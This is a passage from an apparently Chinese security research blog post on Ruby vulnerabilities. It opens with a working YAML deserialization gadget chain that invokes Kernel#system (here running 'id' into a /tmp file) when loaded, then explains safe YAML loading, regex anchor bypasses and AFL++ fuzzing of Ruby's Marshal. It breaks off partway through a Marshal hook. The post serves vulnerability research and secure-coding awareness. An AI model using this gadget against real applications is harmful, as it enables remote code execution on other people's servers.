宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">!ruby/object:Gem::Requirement</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">requirements</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">: </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">!ruby/object:Gem::Package::TarReader</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">   </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">io</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">: </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">!ruby/object:Net::BufferedIO</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
  </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:
Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">io</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">: </span><span lang="EN-US" style="mso-bidi-font-size:
10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:
宋体;color:#569CD6;mso-font-kerning:0pt;">!ruby/object:Gem::Package::TarReader::Entry</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
    </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">read</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">: </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#B5CEA8;mso-font-kerning:0pt;">0</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
    </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">header</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">: </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">aaa</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
  </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:
Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">debug_output</span><span lang="EN-US" style="mso-bidi-font-size:
10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:
宋体;color:#D4D4D4;mso-font-kerning:0pt;">: </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">!ruby/object:Net::WriteAdapter</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
    </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">socket</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">: </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">!ruby/object:Gem::RequestSet</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
      </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">sets</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">: </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">!ruby/object:Net::WriteAdapter</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
        </span><span lang="EN-US" style="mso-bidi-font-size:
10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:
宋体;color:#569CD6;mso-font-kerning:0pt;">socket</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">: </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">!ruby/module</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#39;Kernel&#39;</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
        </span><span lang="EN-US" style="mso-bidi-font-size:
10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:
宋体;color:#569CD6;mso-font-kerning:0pt;">method_id</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">: </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">:system</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
      </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">git_set</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">: </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">id &gt;&gt;
/tmp/niubl</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
    </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">method_id</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">: </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">:resolve</span></p><p style="margin-left: 10.5pt;"><br/></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">require</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#34;yaml&#34;</span></p><p style="background: rgb(30, 30, 30);"><br/></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">YAML</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">load</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">open</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#34;test.yaml&#34;</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">).</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">read</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">())</span></p><p style="margin-left: 10.5pt;"><br/></p><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">执行POC（ruby-3.0.0）：</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-backh="277" data-backw="578" data-galleryid="" data-ratio="0.4798261949099938" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1611" src="https://wechat2rss.xlab.app/img-proxy/?k=053f4aac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW56TnGTd9n17bs2f3mXtMndoghnbfldZsWIiamKdiadLruhmCfMhAfIEmg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">Ruby YAML解析，psych4.0之前可以通过调用save_load()函数，避免反序列化对象，psych 4.0之后默认load()函数就是安全的（<a href="https://github.com/ruby/psych/pull/487）。" target="_blank">https://github.com/ruby/psych/pull/487）。</a></span></p><p style=""><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">搜索unsafe_load的使用，不一定存在漏洞，需要yaml内容可控才有风险：</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-backh="387" data-backw="578" data-galleryid="" data-ratio="0.6698275862068965" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1160" src="https://wechat2rss.xlab.app/img-proxy/?k=ffc1efe3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW5aiaibWIDkyu1STgetJGTZ3NjRqkBic2Rnw6byh9jHBBwteOJ7FeG25Y4w%2F640%3Fwx_fmt%3Dpng"/></p><p style=""><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"></span></p><h4 style=""><strong><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">正则错用</span></strong><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"></span></h4><p style=""><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">Ruby正则大体与其他语言一样，只是在个别语法上存在差别，如果没有特别了解研究，按照其他的语言用法套用，就很有可能出现安全问题，例如Ruby在用正则匹配开头和结尾时支持^$的用法，但是支持多行匹配则需要改为\A\Z避免换行绕过。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-backh="127" data-backw="578" data-galleryid="" data-ratio="0.22012578616352202" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="636" src="https://wechat2rss.xlab.app/img-proxy/?k=702f7973&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW5uqiaUdWM5ZwH65Xu77icaQQa8VrgfmH1Nu4XyLKIbgpT9aq9UecAUKBA%2F640%3Fwx_fmt%3Dpng"/></p><p style=""><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">正则错用引发的安全问题：</span></p><p style=""><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"><a href="https://hackerone.com/reports/733072" target="_blank">https://hackerone.com/reports/733072</a></span></p><p style=""><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">搜索相关代码，还是有不少错用的：</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-backh="471" data-backw="578" data-galleryid="" data-ratio="0.8158995815899581" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="956" src="https://wechat2rss.xlab.app/img-proxy/?k=003d2847&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW5Riba7NprFslKiaGg3fVNC9WBRNGxznoCcDINtTzNlOTXUxETFZ3jZJuw%2F640%3Fwx_fmt%3Dpng"/></p><h4 style=""><strong><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">FUZZ Ruby解析器</span></strong><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"></span></h4><p style=""><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">在学习Ruby反序列化时，想要通过Ruby用C语言实现Marshal，对处理不同数据类型做处理，那么可以对他进行一下FUZZ。</span></p><p style=""><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">FUZZ使用了AFLplusplus，配置编译Ruby：</span></p><ul class="list-paddingleft-1"><li><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">./configure CC=/opt/AFLplusplus/afl-clang-fast CXX=/opt/AFLplusplus/afl-clang-fast++ --disable-install-doc
--disable-install-rdoc --prefix=/usr/local/ruby --enable-debug-env</span></p></li><li><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">export ASAN_OPTIONS=&#34;detect_leaks=0:abort_on_error=1:allow_user_segv_handler=0:handle_abort=1:symbolize=0&#34;</span></p></li><li><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">AFL_USE_ASAN=1 make</span></p></li></ul><p style=""><br/></p><p style=""><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">使用AFLplusplus的deferred instrumentation模式，对Ruby源码main.c文件稍作修改：</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8972477064220183" data-s="300,640" style="width: 465px;height: 417px;" data-type="png" data-w="545" src="https://wechat2rss.xlab.app/img-proxy/?k=f68e768f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW5tbJia74Zo2O50LQ2C0uNibP06l3UfqSowtLGeAFFIeRmCyibicksqiaJf8A%2F640%3Fwx_fmt%3Dpng"/></p><p style=""><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">样本生成上，可以选取Ruby自带的测试用例，这样可以快速得到比较全面合法的样本，正好在学习Ruby hook的方案，写了一个简单的hook函数，在rubygems.rb文件中加载，劫持Marshal模块，执行自测的同时即可保存下样本。</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">require</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#39;securerandom&#39;</span></p><p style="background: rgb(30, 30, 30);"><br/></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">module</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Marshal</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">   </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">class</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">&lt;&lt; self</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
    </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">alias_method</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">:__dump</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">, </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">:dump</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
    </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">def</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">dump</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">*</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">args</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
        </span><span lang="EN-US" style="mso-bidi-font-size:
10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:
